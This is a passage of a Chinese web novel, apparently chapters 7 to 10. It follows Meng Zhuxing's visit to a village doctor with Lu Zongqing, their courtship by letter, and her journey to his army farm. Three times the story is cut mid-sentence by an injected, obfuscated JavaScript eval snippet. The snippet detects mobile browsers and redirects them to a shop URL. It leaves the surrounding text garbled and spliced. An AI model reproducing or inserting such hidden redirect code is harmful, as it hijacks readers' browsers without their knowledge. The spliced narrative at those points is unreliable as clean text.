陆宗青抿了抿唇,解开麻袋,露出里面崭新的蓝布与雪白的棉花,在孟逐星惊讶的目光中,缓缓说道:“好,这些东西就算十个鸡蛋好了。” “……” 孟逐星觉得他这是在贿赂收买自己。 “宗青哥,昨天我想了很久,我暂时不想结婚的想法还是没有变,所以……” “我没有逼迫你的意思。”陆宗青沉声道,“我只是想让你过得舒服一些。” 孟逐星有些不知所措,她从没谈过恋爱,不知该怎么回复比较好,见他额上隐隐有些汗水,便叫他进来喝点水。 桌上晾了两碗白开水,陆宗青端起左边的一饮而尽。 他下颌微仰,越发显得脖颈修长,喉结清晰可见,上下滚动时,看起来莫名的涩情。 孟逐星突如其来的口干舌燥,连忙挪开目光。 可身体的反应最诚实。 她耳根微红,抬手遮住了胸口。 救命…… 这副身子怎么这么敏感! 孟逐星内心崩溃面上却还要装作无事发生,偏偏陆宗青此时皱了皱眉,问:“你有没有闻到什么味道?” “……有么?” “一股很浓的,奶香味。” 陆宗青眸光微凝,顿在了孟逐星身上,瞳孔不敢置信地放大:“你……” 孟逐星顺着他的视线低头,在看到衣衫上湿了一片时,她绝望地闭了闭眼。 毁灭吧,累了。 一片诡异的沉默后,陆宗青背过身去,谨慎措词:“你是不是有什么隐疾?孟同志,有病就要去看医生,不能耽误。” 孟逐星声若蚊蝇:“是一种怪病,不好找医生看的。” 陆宗青顿了顿,“那天在我家也是这样?” “嗯……” 孟逐星开始破罐子破摔,“宗青哥,既然被你发现了,我也就不再瞒你,我这个病很是古怪,平时好好的和正常人一样,就是有时候会这样……” “你是个好人,值得更好的姑娘,我祝福你。” 陆宗青却问:“你很难受么?” “……有一些吧。” “我认识一个老中医,住在镇子上,你要是愿意,我明天带你去找他瞧瞧,好不好?” 孟逐星忍不住问:“他很厉害吗?” 如果可以医好,她当然想过正常人的生活。 “他是我一个战友的爷爷,从前是十里八乡有名的大夫,成不成的,总要试试才知道。” “那……就麻烦宗青哥了。” “不必客气,我先走了,这布和棉花你改天重新做个被子盖,明天早上我在村口大路上等你。”陆宗青不给孟逐星拒绝的时间,迈着长腿离开了。 孟逐星看着鼓囊囊的麻袋,不禁叹了口气,这人情债越积越多,可怎么还? 第二天,她一大早就起来,捡了鸡鸭蛋,摘了五六根水灵鲜嫩的黄瓜,满满当当的装了一篮子,拎着东西下了山,直奔陆家。 此时天才刚亮,村里人还没开始活动,孟逐星轻声敲门。 很快,陆宗青便开了门,他今天穿了件白衬衫黑长裤,愈发显得笔挺英俊,孟逐星愣了一下,将洗干净的衣服与竹篮交给了他。 “宗青哥,这是思甜妹妹的衣服,篮子里是些鸡蛋和黄瓜,都是新鲜的。” “多谢你。” 陆宗青接过东西,低声道:“思甜昨天有点咳嗽,还在睡着,我们现在走吧,你的脚踝还疼么?” 说着,他推出一辆二八自行车。 见孟逐星看过来,陆宗青解释道:“我昨晚跟村长借的,到镇子上挺远的,有车子方便些。” “只是一点皮外伤,我没什么事了,宗青哥真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732923|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是多谢你了。”两人并肩往村口走去。 孟逐星小声问:“思甜她是生病了么?” “老毛病了,换季或者变天,就容易咳嗽,之前我带她去看过医生,没检查出什么毛病,只能说是娘胎里带的,就这个体质。” “她太瘦了,要是能每天吃点好的补补,兴许能好点儿。” “嗯,我也是这么想,所以想以后把她也带到我那边去,有我在,她也能过得好一些。” 孟逐星眨了眨眼,听出了他的话外之音。 陆思甜借住在他们大伯家,寄人篱下又体弱多病的,他们的那个大娘孟逐星也曾听说过,是村里有名的大嗓门儿,做事风风火火的,家里四个孩子,三个女儿,最偏心小儿子陆宗民。 这样重男轻女的家庭,想想也知道小姑娘的日子不会有多好过。 陆宗青每个月都汇款10元,这笔钱不是小数目,可真正能花在陆思甜身上的有多少就很难说了。 此时天还早,晨雾未散,两人走到村口时,都没遇见一个人。 孟逐星不禁松了口气,许是她的表情太明显,陆宗青神色微妙:“你很不想让别人看到我们在一起?” “宗青哥你别误会!我只是不想影响你的名声。” 见他盯着自己,孟逐星心口莫名急跳了两下,解释道:“我在村里声名狼藉,要是被人看到你跟我在一起,怕是会影响你跟旁人相亲……” 陆宗青沉默须臾,长腿跨上车,“上来吧。” “哦哦……” 孟逐星略显笨拙地侧坐在车座上,身子不稳,她下意识地扶住了陆宗青的腰。 唔,手感蛮好…… 等等,她在胡思乱想什么!既然都不打算跟人家有什么,就不该再做一些引人误会的举动! 她缩回了手,努力支撑在后座上,可山路崎岖颠簸,饶是陆宗青骑得并不算快,孟逐星还是保持得非常吃力。 一道低沉的声音从前面传来—— “已经离开村子老远了,不会有人看到的,你,扶着我吧。” 孟逐星再也坚持不住,伸手捏住了他的衣角。 陆宗青抿了抿唇,黑眸中闪过一抹黯然。 不知道过了多久,在孟逐星以为自己的屁股就要被颠簸成几瓣时,车子终于停了下来。 他们来到了一条胡同里,木门破旧,朱漆斑驳,门前的花草却收拾得极为利落。 “这里是周大夫的家。” 陆宗青停好车子,从车把上解下网兜,来到门前抬手敲了敲门,“周爷爷,我是周晋的战友陆宗青,来看您来了!” 没一会儿,门被从里面打开,走出来一位精神矍铄、身着灰衫的老年人。 “你就是小陆?可算见着真人了!快进来快进来!”周大夫满脸高兴将人往里请,“小晋每回写信都提到你,承蒙你在部队里多关心照顾他,他才能习惯那里的生活。” 陆宗青笑道:“您言重了,我与小晋是战友,又是一个镇上的老乡,能在那么远的地方遇见不容易,自然要互相照顾。” “周爷爷,这是我带回来的一些营养品,您别嫌少。” “那怎么成!”周大夫连忙推拒,“你能来看我我就很高兴了,怎么还能收你的礼物?小陆,这个丫头是……” “周爷爷,实不相瞒,我今天来除了看望您,还有个请求,”陆宗青介绍孟逐星说,“这是我同村的妹妹,染有怪疾,想劳烦您帮忙诊脉瞧瞧。” “哦?走进屋去,我仔细看看。” 进了堂屋后,孟逐星坐在板凳上伸出手腕,见周大夫凝眉沉思,半晌后问:“丫头,你的怪疾是不是难以启齿?” 孟逐星面色一红,点了点头。 周大夫却笑了,“这病症虽怪,我却也曾听闻过,无需太过紧张,想是你年纪还小,身体尚在发育之中,再过段时间看看,也许过阵子自己就好了。” 陆宗青问:“您看要不要给开张方子,拿点药吃吃?” “这倒不必,胡乱吃药反而有害。”周大夫顿了顿,“要是觉得影响生活,可以找人帮忙,或者结婚后就好了。” 孟逐星:“……” 这话说得怎么让人浮想联翩的。 8. 第 8 章 谢过周大夫后,两人并未多留,而是去街上逛了逛。 这还是孟逐星穿越后头一回来镇上赶集,虽然远比不上现代的商场繁华,但对于在山上闷了好久的孟逐星来说,逛起来也别有一番趣味。 说是赶集,也不过是去国营商店转了一圈,个体小贩们现在多是流动于黑市,孟逐星不懂这里的门道,陆宗青也不清楚,两人在大街上走了一阵子,腹中皆咕噜作响。 孟逐星本来还觉得有些尴尬,但听到他也饿了,便禁不住与他相视一笑。 “宗青哥,我请你去下馆子。” “好,你请客,我付钱。” 孟逐星:“……” 宗青哥你这么上道儿,会动摇她拒绝的决心的好不好! 她可是真心想请吃饭的,这段时间她攒下了不少鸡蛋、鸭蛋,让马小兰帮着卖给了村里的知青们,手上也是有一点钱的。 此时正是饭点儿,国营饭店门口排了老长的队,等到排到两人时,有些菜已经没了,两人只好点了洋葱炒猪肝、红烧鳊鱼和两碗白米饭。 孟逐星好长时间没吃到肉,眼睛都快冒绿光了,却又顾及着女孩子的形象,小口慢嚼着,装得很是辛苦。 “你太瘦了,多吃些。”陆宗青将鱼肚子上的肉留给她,“待会儿走的时候再买几个油炸包子。” 孟逐星微愣:“你……你发现了?” 陆宗青唇角微弯,“刚才你的目光直盯着橱窗,很难不注意到。” “……”孟逐星只想找个地缝儿钻进去。 吃了一会儿,她就发现她只是眼馋,真吃起来时吃不了多少。 原主的胃就那么大,她想多吃也不能。 “宗青哥我吃饱了,嗝——”孟逐星面红耳赤慌乱捂嘴。 她刚才可是吃了洋葱啊!这也太社死了吧! 陆宗青却面色未变,风卷残云地打扫完剩菜,买了八个油炸包子分成两份,包在油纸里。 回村之前,两人又去了趟国营商店。 孟逐星买了些水果糖,“这是带给思甜的,她总吃药,还是留点糖润润口比较好。” 她又挑了根鲜艳漂亮的头绳,嘀咕道:“这是给小兰的,她应该会喜欢这个颜色吧?” 陆宗青站在她身侧,眸光温和地注视着她。 他生得高大俊朗,在商店里格外突出,引得路人纷纷侧目。 结账的时候,陆宗青要出钱,被孟逐星严肃阻拦,“宗青哥,你再这样我就太没脸了。” 付完钱,两人拎着东西骑车往回走。 经过这么半天的相处,孟逐星对他感激熟悉了些,再坐车后座时也不觉得那么僵硬,遇到路况颠簸的时候,也会出声叫他慢一些。 陆宗青话虽不多,瞧着也冷冰冰的,却是个温柔体贴的人,听孟逐星说颠得慌,便停下车,径直脱下了自己的衬衫递给她。 “垫着坐。” 孟逐星推辞,“不行,会弄脏弄皱的。” “脏了洗就成。”陆宗青不容她拒绝,转过头去,白背心在微风中猎猎颤动,“垫好了说一声。” 孟逐星也不再忸怩,将衬衫叠了叠,垫在身下,“好了。” 陆宗青长腿一蹬,自行车疾驰在乡间小路。 快到村口时,孟逐星提前下了车,与陆宗青并肩进了村。 这会儿下地干活的人还没回来,但在路上还是难免遇到几个人,个个神色古怪地看着他们。 其中,便有王老三的娘,她见到孟逐星时狠狠啐了一口,骂了几句,看着陆宗青说:“你跟这个扫把星一起,也不怕倒大霉!” 陆宗青顿住脚步,正要开口说什么,就听孟逐星笑嘻嘻道:“是啊是啊,你还不快走,离我这么近不怕睡觉掉床、晚上上厕所掉茅坑吗?” “你这个乌鸦嘴在胡说什么!”王老三的娘气恼不已,却又记着算命的说的话,不敢离这个扫把星太近,嘟囔了几句甩手走了。 两人此时走到了一处僻静处,孟逐星内疚道:“宗青哥真不好意思,害你被我连累。” 陆宗青摇了摇头,“村里人也一向觉得我是煞星,没有你,他们也不会给我好脸色看,我只是没想到,他们对你也这么不客气。” 一个小姑娘家家的,也没做什么伤天害理的事,就这样被针对排挤。 “我无所谓啦,反正我也不会一直待在这里。”孟逐星下意识说道。 陆宗青眸光微闪,“你要离开这儿?” 孟逐星点了点头:“对啊,以后有机会的话,我想去大城市见见世面呢。” 陆宗青定定地凝着她,“我明天就要走了,我们之间的事,你要不要再考虑一下?” 他的目光太过炽热,盯得孟逐星面颊微热,她慌乱地别开视线,“我、我不想那么早生孩子。” 之所以拒绝陆宗青,除了觉得对他不够了解,更多的是孟逐星有自己的人生规划。 她想考大学,想去大城市,想拥有一份体面又赚钱的工作,想获得哪怕自己一个人也可以活得很舒服惬意的自由。 可这个时代的人早婚早育,陆宗青又是个25岁的大龄青年,肯定急着传宗接代,一旦进入婚姻,很多事就不是她能够掌控的了。 陆宗青忽然开口:“你担心的是这个?” 孟逐星小声嘀咕:“难道我不该担心吗?” 陆宗青却眉眼舒展,“这个你可以放心,你要是不愿意,我不会逼你的。” 见她神情有几分动摇,他继续道:“而且我们可以先把婚事定下来,之后再领证结婚,这期间你可以做你喜欢做的事,我都不会阻拦。” “当真?”孟逐星有些难以置信,“你真的不急着生孩子啊?” 陆宗青耳根微红,咳了咳,“我是男人,本来也没生孩子的能力,况且也没人催我,更不会有人催你的。” “可我看你这次回来,就是奔着相亲来的呀!” 陆宗青看着她,“不是奔着相亲,而是……” 嗯? 孟逐星眨了眨眼,忽然get到了他未说出口的后半句—— 而是奔着你。 她心口猛然一紧,体会到了什么叫小鹿乱撞。 “咳,那咱们先像朋友相处一段时间看看?” 孟逐星口风松动,继续说道:“你告诉我你的地址,我们可以书信来往,到了合适的时机,再进一步发展。” 陆宗青眸光黑亮,“好。” “明天你几点的火车,我去送你。” “不用了,一大早的车,你不必麻烦。” “那好吧,这包糖你替我带给思甜,还有吴婶儿那边……” 陆宗青道:“你放心,我待会儿就去一趟。” “那我先回去啦,宗青哥你保重。” “逐星——”陆宗青叫住她,“我可以这样叫你吗?” “当然,我们就别这么见外啦!” 陆宗青唇角微弯,“思甜会住在家里,你要是有空的话就来陪陪她。” 说着,他从腰间解下一只荷包,径直递到了孟逐星手中,“这里有几十块钱,你留着备用。” 孟逐星大惊失色,“我不能要你的钱。” 陆宗青却态度坚决,“你就当帮是思甜收着的,你们俩一起花。” “可是……” “好了,我走了。” 陆宗青长腿一跨,骑车扬长而去,留下孟逐星抱着油纸包子和荷包在风中凌乱。 这人是不是脑子有毛病啊?字面意义的那种。 要不怎么会这么毫无戒心地相信一个人?他们也不怎么熟吧…… 孟逐星突然为陆宗青感到发愁——万一他俩没成,以后这哥不是很容易被人给骗钱骗色? ……看来以后通信的时候,她要多教他些反诈知识才好。 孟逐星去了趟马小兰家,这会儿小兰与王婶儿他们都去上工了,家里只有马奶奶在。 老太太正坐在院子里择菜,见她来了,不咸不淡地问:“你来干啥?” 孟逐星笑道:“奶奶,我今儿去了趟镇上,给小兰买了根头绳,这儿还有几个油炸包子,等婶儿和叔他们回来了,你们可以一块尝尝。” 老太太嘀咕道:“无缘无故的,你干嘛花钱破费?” 孟逐星笑了笑没多解释,放下东西便走了。 她回到山上小屋后,这才觉得累得不行,在床上躺了一会儿后,她才爬起来烧水、烧饭。 天气有点热,该勤快地洗澡了。 想到这儿,孟逐星又觉得屋后的小茅厕太过简陋了,只是几块木板围起来的,勉强遮挡住视线而已。 可她还要在这儿住一段时间呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732924|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又不想把屋里弄得湿哒哒的,没个洗澡的地方总不方便。 于是新建一个厕所的计划开始提上日程。 月经结束之后,孟逐星又开始了在山里到处踅摸溜达,有时背回来一筐树枝柴火,有时是野菜,有时则是些规整的石头。 马小兰得知她想新建茅厕时,摩拳擦掌地要一起帮忙,甚至还从自家鸡圈里顺了几块砖过来。 孟逐星赶忙制止她的偷家行为。 陆思甜知道这件事后,也小尾巴般跟着她们到处跑。 这可是村里有名的病秧子,马小兰一开始很不情愿她跟着,“万一她出了什么事,你不得被她哥给赖上啊!” 孟逐星见陆思甜跟着她们跑跑走走,气色明显比之前好很多,便道:“不会的,思甜身子也没那么弱,再说如果她不舒服自己就会停下休息的。” 之后,马小兰见陆思甜总是笑眯眯的,像只软绵绵的小猫,人也确实很勤快,一口一个“小兰姐”叫着,她再硬的心也扛不住啊,也就慢慢接受了她。 三个小姑娘穿梭在村子和大山间,弄得村里人满头雾水—— 这个小克星在搞什么鬼? 在她们东拼西凑大半个月后,材料差不多准备齐了,在一个傍晚,马小兰拉来了苦力马文波。 孟逐星买了猪肉,现割了一大把新鲜韭菜,她剁肉调馅儿,马小兰和面,陆思甜则帮着一道擀皮儿包饺子。 热腾腾的饺子下锅时,孟逐星又从菜地里摘了几根黄瓜辣椒,麻利儿地做了两道菜,拍黄瓜和青椒炒蛋。 这段日子以来,她除了身体好了不少,厨艺长进许多。 待马文波忙乎完,孟逐星殷勤地端水递毛巾,“辛苦你了文波哥。” “这点儿小活不算什么。” 几人坐在桌前吃饭,这桌子还是之前陆宗青送来的,一桌两用,既是饭桌,也是孟逐星的书桌。 只是这阵子只顾着盖厕所的事,看书这事儿倒是完全给忘记了…… 吃罢饭后,陆思甜要帮忙收拾碗筷,被孟逐星按住,“不着急,外面景色挺好看的,咱们出去说会儿话。” 几人拎着小板凳来到屋外,山顶的月色似乎更为明亮,照得四周恍如白昼般,微风阵阵,浮动着清浅宜人的花香。 马小兰伸了个懒腰,感叹道:“逐星,你这个地方真是不错,舒服又清净,要不我也搬上来跟你一块住得了?” 孟逐星笑道:“怎么你要跟我一起挤那张小床?” “唔,那还是算了。”马小兰摸了摸鼻子,嘿嘿笑了两声,“我睡觉不老实,别再把你给踹山下去了。” 陆思甜捂嘴偷笑,马文波则无奈地看了眼妹妹。 “对了逐星,我记得你以前不爱学习啊,怎么你屋里还有几本教科书啊?” 孟逐星面不改色道:“闲着没事就翻翻呗,多学点知识总是好的嘛!” 马小兰皱了皱眉,摇头说:“我不行,要我看书比叫我干一天活还难受。” 陆思甜眨了眨大眼睛,小声问:“逐星姐,我以后没事的话,能来找你一起学习吗?” 她之前还是很喜欢上学的,成绩也还不错。 “那可太好了!”孟逐星很开心,“咱俩作伴效率还能高一些呢!不过要你每天爬山,会不会太辛苦?” 陆思甜摇了摇头,“没事的,我的身子没那么虚弱,之前的大夫也说适当锻炼对我也有好处的。” 马文波提议说:“不如改天让我爸给做个大点儿的床?到时候你们就能睡开了,也省得上下山的跑。” 孟逐星眼睛一亮:“对呀,马叔会木匠活儿的!只是这木材去哪里找……” 马小兰拍拍小胸脯:“这你就别担心啦,山里最不缺的就是木头。” 这会儿还没通过《森林法》,山上的树木管得并不严格,周围村里的人喜欢上山捡树枝、采野菜,有时也会伐树做家具,但因为人口没那么密集,损耗较小,山上的森林覆盖率还是保持得很好的。 “等有了大床,我就能来逐星这蹭觉了。” “小兰姐也算我一个好不好?” “可以,不过我要睡在中间。” “好的呀。” 孟逐星喜忧参半,开心的同时又有些焦虑——要是跟她们睡一起,她的秘密岂不是又多了几分暴露的危险? 9. 第 9 章 马家人做事不仅利索,还相当热情。 得知孟逐星想要一张大点儿的床,马国富与马文波忙完农活便去山上踅摸木材,王婶儿则是拿一些碎花布拼缝到一起,给做了三只荞麦枕头。 当马小兰带给孟逐星时,她感动不已,要知道原主之前可是连个正儿八经的枕头都没有的…… 孟逐星无以为报,便发动自己的异能,催熟后院的鸡鸭,在木板床做好那天,豪横地宰了两只鸡,盛情款待了马家一家。 “又不是外人,你也不必这样下血本。”马小兰小声嘀咕,“这鸡留着下蛋多好呀……” 孟逐星给她夹了只油亮亮的鸡翅,笑道:“这是公鸡。” “……” 一顿饭吃得都很开心,临下山前,孟逐星还给了王婶儿一只大鸡腿,“马奶奶腿脚不便不能来,麻烦婶儿带给奶奶了。” 这使得王婶儿对她越发喜欢,回家后将鸡腿送到老太太跟前,替孟逐星说了几句好话,老太太这回倒没说什么风凉话,反倒嘀咕:“这小丫头倒真是大方,两只大公鸡说吃就吃了。” 王婶儿笑道:“逐星那丫头勤快着呢,想是那地方地肥,屋后的菜都种得很好,鸡鸭鹅也都养了很多只,光是下蛋每天就收成不少,日子过得好了起来,身量瞧着也长高了些。” 马奶奶咬鸡腿的动作一顿,“难不成你惦记着让她进咱们家的门?我不同意!” 王婶儿无奈:“妈,您多心了,我只是觉得逐星这姑娘挺好的,夸夸她而已,人家已经有了对象了。” “谁?”马奶奶眼睛一瞪,“啊哟!是陆家的那个吗?” “您也听说了?” “嗐这村里谁不知道!”马奶奶绘声绘色地说起流言来,“……就是不知道这俩孩子咋想的,就不怕互相克对方?” “什么克不克的,都是老封建。”王婶儿没再继续这个话题,伺候老太太吃完饭,忙着去院子里洗衣服去了。 而孟逐星与陆宗青在处对象一事,确实在四合村传遍了。 先前两人并肩而行、陆宗青给她送东西,都被人瞧见过,最近又见到孟逐星与陆思甜走得这么近,邮递员还给孟逐星送过来自黑省的信,种种迹象都不得不让人猜测他们的关系。 有好信儿的便跑到正主面前,开门见山地问:“丫头,你和小陆在处对象吗?” 孟逐星也不忸怩,径直答:“是啊,我们在互相了解中,你问这干啥?” “……也不干啥。” 那人讪讪,怎么也想不明白,从前胆怯怕生一说话就脸红的小克星,怎么就突然间变了性子? 渐渐的村里又开始有新的传言,说孟逐星在王老三死后招惹了不干净的东西,被鬼附了身,其实早已不是她了。 说辞很扯,但保不住有人相信。 因此,孟逐星身上除了克星的名号,又莫名其妙沾上了鬼气。 好处是她独居在山上很清净没人骚扰,坏处则是当她出现在村里时,总会引来一些古怪的目光,探究中又带着戒备与恐惧。 不过孟逐星完全不在乎,她现在吃喝不愁,满心只想着读书这件事,收到陆宗青的信时,便给他写回信。 该说不说,陆宗青不仅人长得好看,还写得一手好字,遒劲潇洒,非常有风骨。 这让孟逐星的可爱风字体有点拿不出手。 两人书信往来保持着联系,期间想到什么说什么,孟逐星跟他吐槽村里的大小八卦、跟陆思甜学习上的烦恼,陆宗青则跟她说部队农场里的见闻。 孟逐星觉得书信里的陆宗青似乎更为健谈,两人很聊得来。 中间有一个多月,陆宗青的信件断了。 孟逐星有些忐忑担心,问了陆思甜后才知道,兴许是部队里又忙起来了。 她继续过着自己的小日子。 三个月后,孟逐星收到了陆宗青寄来的一个大包裹。 里面除了营养品和黑省的特产外,还有一封信。 信中他如之前一样聊着日常,还提到了农场里形形色色的人员—— “……有不少从五湖四海来的教师、知青,他们在农忙之余,也和你一样喜欢看书看报。我偶尔也和他们交谈过,感觉很有收获,就想如果你和思甜也可以过来与他们相伴学习,效果一定会更好。” 他在信的末尾郑重写道:“我一直期盼着你过来,这边生活怎么也比在四合村方便,你不用担心害怕什么,我们先从朋友做起。你如果不习惯想回家,我会送你回来。” 孟逐星看完信思索很久,在当晚叫来了马小兰和陆思甜。 此时已是夏天,山顶的凉风习习,三人穿着轻薄小衫捧着西瓜在月下聊天,小狗在不远处的草丛里玩耍。 马小兰一边吐西瓜子一边说:“要我说这宗青哥也是真够有诚意的,这几个月来给你寄这寄那,啥好东西都想着你,单论这一点,我就觉得你应该给人家一个机会,两个人认真处一处试试。” 陆思甜小口咽着瓜瓤,点头道:“是呀逐星姐,我哥他人真的很好的,不是说想讨好你才伪装成这样……” 孟逐星说:“我没有怀疑他的真心,只是觉得如果贸然过去,万一相处不来,岂不是会弄得很尴尬?” “这有啥啊!”马小兰豪气干云,“你去那边也是跟思甜住一块儿,只要你把握住不被宗青哥勾引,即便你俩没成也没啥好尴尬的呀。” 陆思甜小脸通红,扑闪着大眼睛看着孟逐星,后者则红了耳根,“你、你可别胡说,我才不是那种随便的人。” 马小兰笑嘻嘻道:“是谁某天夜里说梦话,嚷嚷着要人亲要人抱的。” 孟逐星:“……” 她只是梦到她的纸片人老公了好吗! “逐星姐,你是有什么顾虑么?” “是有那么一点儿。” 孟逐星有苦难言,这段日子尽管她十分克制不去使用读心术,但在经期期间,那副作用还是止不住,她俩留宿的时候,她都得万分小心故意弄些姜蒜掩盖气味,生怕被她们闻出点儿什么来。 且不说她与陆宗青是否能成,若是去了部队农场,那里人多眼杂,她的秘密要是被人发现了,就算她有一百张嘴也解释不清…… 但她确实也觉得四合村太过封闭,如果有机会去接触外面更广阔的世界,认识更多的人,对她继续生活在这个年代只会有益无害。 陆思甜安慰道:“你不用担心身份的问题,我哥既然叫你过去,自然会安排好一切。” 马小兰倚孟逐星身上,娇羞开口:“逐星,你是不是不舍得我呀?” “我是舍不得我的大床。”孟逐星玩笑道,“主要是从小在这儿长大,冷不丁要我去别的地方,怯得慌。” “有啥好怕的呀,”马小兰哼唧道,“我妈要是愿意放我走,我就跟你们一块儿去了。” 三人说笑一会儿,望着满天星辰,孟逐星下定了决心:“明天就写信,去黑省。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732925|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ** 陆宗青收到她的回信后,眼底蕴满笑意,迈着长腿飞奔而去。 一旁吃饭的李少阳不明所以,“宗子咋了这是?这几天都跟丢了魂儿似的……” 周晋笑道:“人家这是动了春心。” “啥?”李少阳瞪大眼,“宗子有喜欢的人了?!我怎么不知道!” “你知道啥,训练回来就知道躺着不动,懒死你得了。” 李少阳理直气壮:“我累了一天躺躺怎么了?” 周晋收起饭缸,笑眯眯:“不怎么,您继续。” 李少阳:“……” 待陆宗青忙完回到宿舍时,李少阳开始了严刑逼供。 他先是桀桀狂笑几声,粗着嗓子问:“陆同志,你最近有什么秘密瞒着大伙儿,还不快速速交代!” 陆宗青:“……” 他顿了顿,坦白道:“我喜欢老家的一个姑娘,她快要来这边了。” “卧槽!还真是啊!”李少阳佯作抹泪,“宗子你不厚道,咱们不是说好的一起做兄弟都不娶老婆,你怎么背着大伙儿偷偷叛变了。” 陆宗青哭笑不得:“少阳,我都25了,开始考虑自己的终身大事不算过分吧?” “你别理他,这小子是没屁搁楞嗓子。”周晋插话道,“阳子,你说你不娶老婆,那又是谁总跟医务室的小护士打情骂俏?” 李少阳气势登时矮了一截,却仍不认账:“谁啊?反正不是我,我那是在跟人家护士姐姐学习护理知识,以备不时之需。” 班副吴顺喜道:“行了阳子,就你这嘴贫劲儿,整个农场谁不知道?” “嘿嘿嘿,”李少阳笑得没脸没皮,凑到陆宗青旁边,“宗子,能让你这棵铁树开花,那姑娘一定长得老好看了吧?有没有照片给大伙儿瞧瞧?” “照片没有,过段时间人来了,你亲眼见见就知道了。” 陆宗青顿了顿,“不过她年纪挺小的,我们也只是先当朋友处处看,能不能成还不知道,你们到时候可别吓到她。” “嗐我们可不是不知轻重的人!你就放心吧!”李少阳答应得很是爽快,可在场的人都知道,这小子最没正形,白瞎了一副清俊相貌。 而另一边,孟逐星将小狗、鸡鸭鹅都一股脑送到了马小兰家,托王婶儿帮忙照顾。这些家禽被她养得很好,每天下的蛋都能捡近二十个,除了自己吃,孟逐星还拿到镇上卖了不少,攒了一笔小钱。 王婶儿哪儿愿意这样占她便宜,说要拿钱买下,被孟逐星笑眯眯拒绝:“婶儿,咱们关系这么近,就别提钱了,我去外地又不是不回来,等我回来了,您给我几个鸡蛋鸭蛋就成。” “小黑就麻烦您帮忙养一下了,它很听话机警,看家绝对没问题。” “你这孩子……”王婶儿不知该说什么好,只得在孟逐星动身离开时,给她煮了一兜子的鸡蛋,烙了一摞油饼,又塞了两罐子脆辣萝卜丁,让她带着路上吃。 大伯母王春花也给陆思甜带了不少吃的,塞了她一个布袋,里面放了些钱,叮嘱她在车上注意安全,别睡太死小心东西被偷。 她虽然偏心自己的儿子,但再怎么说也是关心陆思甜的。 马小兰眼泪啪嗒,弄得孟逐星也忍不住红了眼圈儿。 “我还会回来的,你有空就多看书,记住我的话。” “嗯,我会的。” 告别众人,孟逐星与陆思甜背着大包小包,踏上了北上的火车。 10. 第 10 章 在现代的时候,孟逐星就很不喜欢坐火车,无论是学生时代还是工作之后,她每次回家都要坐好久的绿皮车,速度慢不说,车厢里的人还特别多,有时候连下脚的地儿都没了,列车员还在推着小推车艰难叫卖。 大家都不容易,孟逐星也表示理解,只是她怎么也没想到七十年代的火车不仅拥挤缓慢,车上还可以带家禽,大夏天的车上又没有空调,别提有多味儿了。 孟逐星和陆思甜都有些不太舒服,两人白着小脸无奈一笑,只能靠着小窗户透透气。 两宿一夜后,火车终于抵达了伊市枫林县。 下了车,孟逐星的身子骨都快散架了。 可这还没完,两人又拎着行李上了客车,摇摇晃晃颠簸了不知多久,这才远远的看到云山农场的大门。 门口站着一个人,身姿笔挺。 陆思甜顿时来了精神,隔着窗户对那人直挥手——“哥!” 孟逐星正困得不行,小鸡啄米点头如捣蒜,听到这声音后,迷迷糊糊地往外看去,就见不远处有个高个子军人朝车子跑来。 她尚未回过神来,就被陆思甜轻轻碰了下胳膊肘,“逐星姐,马上要见到我哥了,你的辫子要不要我重新给你编一下?” 这会儿流行扎俩麻花辫,姑娘们个个都是发量王者。 孟逐星摇了摇头:“不用,我更丑的样子他也见过。” “什么?” 孟逐星便三两句将从前的事说了,“……你想那会儿我又瘦小又满脸鼻涕泪痕的,怎么着也比现在更难看吧?” 再说了她现在也不能说难看,只是一路奔波有些沧桑疲倦罢了。 陆思甜笑道:“原来我哥那么早就开始惦记你了。” “哎,你这话说得可不太对,什么‘惦记’啊,说得怪暧昧的。” 两人说话间,车已经停下,乘客们纷纷下车,孟逐星与陆思甜也赶忙拎着行李紧随其后。 双脚还未落地,手上的东西便被人给接了过去,孟逐星一抬眼便撞进陆宗青那双漆黑的眼眸中。 真是见鬼,一阵子未见,他似乎又变帅了些? 或许是过了一阵子夏天,陆宗青比上回见到时黑了些,是小说里常见的小麦色肌肤。 之后她便注意到他额角的伤疤,半指长,瞧着挺新,是最近训练时受伤了? “哥,你额头怎么了?” 陆宗青接过两人的行李,“没什么,一点擦伤。怎么样,累不累?” “坐火车时间长,坐客车就太颠了。”陆思甜虽然疲累但两眼却亮晶晶的,一面走一面四处打量着,“哥这附近就你们这一个农场吗?” “嗯,说是农场,其实就是个小镇,里面医院、食堂、宿舍什么都有。”陆宗青侧首看着孟逐星,“你还好吗?有没有哪里不舒服?” “我挺好的,就是出了很多汗想洗一下。” 